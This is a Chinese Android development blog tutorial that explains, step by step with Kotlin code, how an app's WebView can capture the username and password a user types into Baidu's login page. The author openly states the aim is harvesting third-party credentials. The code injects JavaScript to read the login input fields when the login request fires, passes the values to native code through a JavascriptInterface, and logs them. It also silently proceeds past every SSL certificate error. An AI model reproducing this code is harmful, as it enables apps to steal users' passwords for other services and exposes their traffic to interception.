android:webview获取网页登陆账号和密码

使用webview获取html页面信息

需求:抓取webview打开的页面中登陆信息,简单点说就是获取第三方的账号和密码。(咋一想,这尼玛有点坑啊,获取别人的信息,怎么都不太好吧。但是也得实现呀。。。)

本文将以抓取百度账号信息为例。(这尼玛也是一个坑。。。百度还是有一些安全措施的。自己挖的坑,笑着也要填完。)
android:webview获取网页登陆账号和密码_第1张图片

下面开始正文

测试地址

const val TEST_URL = "http://www.baidu.com"

布局代码

.support.constraint.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:app="http://schemas.android.com/apk/res-auto"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    tools:context=".WebviewActivity">

    "@+id/webview"
        android:layout_width="match_parent"
        android:layout_height="match_parent"
        app:layout_constraintBottom_toBottomOf="parent"
        app:layout_constraintLeft_toLeftOf="parent"
        app:layout_constraintRight_toRightOf="parent"
        app:layout_constraintTop_toTopOf="parent" />

    .support.constraint.ConstraintLayout
        android:id="@+id/constraint_container"
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:layout_marginBottom="10dp"
        app:layout_constraintVertical_bias="1"
        app:layout_constraintBottom_toBottomOf="parent"
        app:layout_constraintLeft_toLeftOf="parent"
        app:layout_constraintRight_toRightOf="parent"
        app:layout_constraintTop_toTopOf="parent"
        app:layout_constraintHorizontal_chainStyle="spread">

        "@+id/tv_account"
            android:layout_width="wrap_content"
            android:layout_height="wrap_content"
            android:background="#41c0ff"
            android:text="account"
            android:textColor="@color/colorAccent"
            android:textSize="18sp"
            app:layout_constraintBottom_toBottomOf="parent"
            app:layout_constraintLeft_toLeftOf="parent"
            app:layout_constraintRight_toLeftOf="@id/tv_pwd"
            app:layout_constraintTop_toTopOf="parent" />

        "@+id/tv_pwd"
            android:layout_width="wrap_content"
            android:layout_height="wrap_content"
            android:background="#41c0ff"
            android:text="password"
            android:textColor="@color/colorAccent"
            android:textSize="18sp"
            app:layout_constraintBottom_toBottomOf="parent"
            app:layout_constraintLeft_toRightOf="@id/tv_account"
            app:layout_constraintRight_toRightOf="parent"
            app:layout_constraintTop_toTopOf="parent" />
    .support.constraint.ConstraintLayout>

android:webview获取网页登陆账号和密码_第2张图片

如果抓取成功,我们就可以看到 账号密码会在底部的textview中显示。
android:webview获取网页登陆账号和密码_第3张图片

先来一波分析。我们要获取页面的信息,那是不是要先抓取页面再说呢?好,抓取页面的方法非常简单,直接百度就找到了,嘿嘿。。。

webview.loadUrl("javascript:window.Android.getSource(" +
    "document.getElementsByTagName('html')[0].innerHTML);")

等等,我们就是要抓取页面信息,那么这个方法是不是就够了。。。现在要做的岂不就是把这个方法放到合适的位置,感觉超简单嘛。(那我还写个蛋。。。)
现在就照着这个思路走下去。我们了解了webview的一些基本用法,知道用之前先获取到settings,一顿setting之后,然后设置webViewClient,这里重点说下这个玩意,它里面有这几个方法,很常用的方法。

 /**
  *在开始加载网页时会回调
  */
 override fun onPageStarted(view: WebView?, url: String?, favicon: Bitmap?) 
  /**
   * 在结束加载网页时会回调
   */
  override fun onPageFinished(view: WebView?, url: String?) 
  /**
   *拦截 url 跳转,在里边添加点击链接跳转或者操作
   */
   override fun shouldOverrideUrlLoading(view: WebView?, request: WebResourceRequest?): Boolean
  /**
    *当接收到https错误时,会回调此函数,在其中可以做错误处理
    */
   override fun onReceivedSslError(view: WebView?, handler: SslErrorHandler?, error: SslError?)

放在加载开始或加载完成感觉都不行呀,那个时候还没有填写账号信息,就算抓取到页面信息,那也是徒劳滴。所以在填写完信息后抓取就不会有问题啦。无懈可击的理论呀。
拦截url跳转的时候获取应该行。当填写完信息后,跳转之前,获取下页面。但是有可能页面先关闭了,抓取不到信息。这个没试过,而且跳转的时候获取时机已过。有兴趣的小伙伴自己去玩吧。
接着说说无懈可击的理论。填写完信息是什么时候呢?感觉方法不够用啊,是时候去百度一波,填充下知识了。先了解下下面的大大的基本知识。当然也还了解到从form表单获取数据,这个没试过,自己可以去尝试。
https://blog.csdn.net/harvic880925/article/details/51523983
get到一个方法。

  /**
    * 异步: 在每一次请求资源时,都会通过这个函数来回调
    * 注意返回值可以为空
    * wappass.baidu.com/wp/api/login?tt
    */
   override fun shouldInterceptRequest(view: WebView?, request: WebResourceRequest?): WebResourceResponse? 

看注释,已经踩了两个坑。第一,这个方法在一个子线程了,调用loadurl方法时报错,所以需要post一下;第二,这个方法可以返回空,需要加个?。不然跑起来后在这里报错,一脸懵逼。
因为点击登录的时候必然会去请求资源,这个时候最好获取页面信息了。但其实获取到html后发现,尼玛input标签里根本就没有value好吗,F***。。。。。。
经过一番挣扎的思索,头发又掉了不少。既然有了标签,那就通过标签获取值嘛,这样不就是在哪都能拿到账号和信息了。好了,理论分析完毕,是时候开始技术表演了。
不多说,直接贴上代码。

/**
    *在开始加载网页时会回调
    */
    override fun onPageStarted(view: WebView?, url: String?, favicon: Bitmap?) {
       super.onPageStarted(view, url, favicon)
       url?.let { LocLog.action("onPageStarted: $url") }
    }

    /**
    * 在结束加载网页时会回调
    */
    override fun onPageFinished(view: WebView?, url: String?) {
       super.onPageFinished(view, url)
       url?.let {
           LocLog.action("onPageFinished: $url")
       }
    }

    /**
    *拦截 url 跳转,在里边添加点击链接跳转或者操作
    */
    override fun shouldOverrideUrlLoading(view: WebView?, request: WebResourceRequest?): Boolean {
       request?.url.apply {
           LocLog.action("""shouldOverrideUrlLoading: ${this.toString()}""")
           view?.loadUrl(this.toString())
       }
       return true
    }

    /**
    *当接收到https错误时,会回调此函数,在其中可以做错误处理
    */
    override fun onReceivedSslError(view: WebView?, handler: SslErrorHandler?, error: SslError?) {
       handler?.proceed()
    }

    /**
    * 异步: 在每一次请求资源时,都会通过这个函数来回调
    * 注意返回值可以为空
    * wappass.baidu.com/wp/api/login?tt
    */
    override fun shouldInterceptRequest(view: WebView?, request: WebResourceRequest?): WebResourceResponse? {
       request?.url.apply {
           LocLog.action("""shouldInterceptRequest: ${this}""")
       }

       return super.shouldInterceptRequest(view, request)
    }

各个方法都加上日志,分析下登陆页面和登陆后的各个URL链接,然后做下一步动作。
android:webview获取网页登陆账号和密码_第4张图片

上面是打开登陆页面的日志,还有一些没放到图中。最开始打算在shouldInterceptRequest中抓取页面信息,但是发现这样的话,点击登陆,页面根本不跳转,麻蛋。所以就选择放到页面加载完成的方法中。分析url,当包含框中的字符串的时候抓取页面。
在方法onPageFinished中

url?.let {
     LocLog.action("onPageFinished: $url")
       if (url.contains("wappass.baidu.com/passport/?login"))
           webview.loadUrl("javascript:window.Android.getSource(" +
             "document.getElementsByTagName('html')[0].innerHTML);")
   }
   //wappass.baidu.com/passport/?login

分析HTML发现,账号和密码都在input标签中,而且页面中只有这个几个input标签。但还是要分析一波,在合适的地方获取value,最好是在跳转过程中获取,这样就不会有问题。
android:webview获取网页登陆账号和密码_第5张图片
获取账号密码的方法如下,在方法shouldInterceptRequest中

request?.url.apply {
LocLog.action("""shouldInterceptRequest: ${this}""")
if (!this.toString().contains("wappass.baidu.com/wp/api/login?tt"))
         return super.shouldInterceptRequest(view, request)
 }

 webview.post {
     webview.loadUrl("javascript:window.Android.getAccount(" +
             "document.getElementsByTagName('input')[0].value);")
     webview.loadUrl("javascript:window.Android.getPwd(" +
             "document.getElementsByTagName('input')[1].value);")
 }

不要忘了添加js调用Android的方法。

webview.addJavascriptInterface(JSHook(), "Android")

 inner class JSHook{
        @JavascriptInterface
        fun getSource(html: String?) {
            html?.apply { LocLog.action(" getSource: $this") }
        }

        @JavascriptInterface
        fun getAccount(account: String?) {
            account?.apply {
                LocLog.action("getAccount:$this")
                tv_account?.setText(this)
            }
        }

        @JavascriptInterface
        fun getPwd(pwd: String?) {
            pwd?.apply {
                LocLog.action("getPwd: $this")
                tv_pwd?.setText(this)
            }
        }
    }

最后发现,为啥要费劲吧啦的抓取页面呢?还不是为了分析页面,然后好获取账号和密码。到后来发现,页面都长得是一球样,不用分析页面,妥妥滴获取标签值,使用某个方法就能获取到值了,哈哈哈
github地址:

https://github.com/blazeqin/webviewcrawler

你可能感兴趣的:(android知识)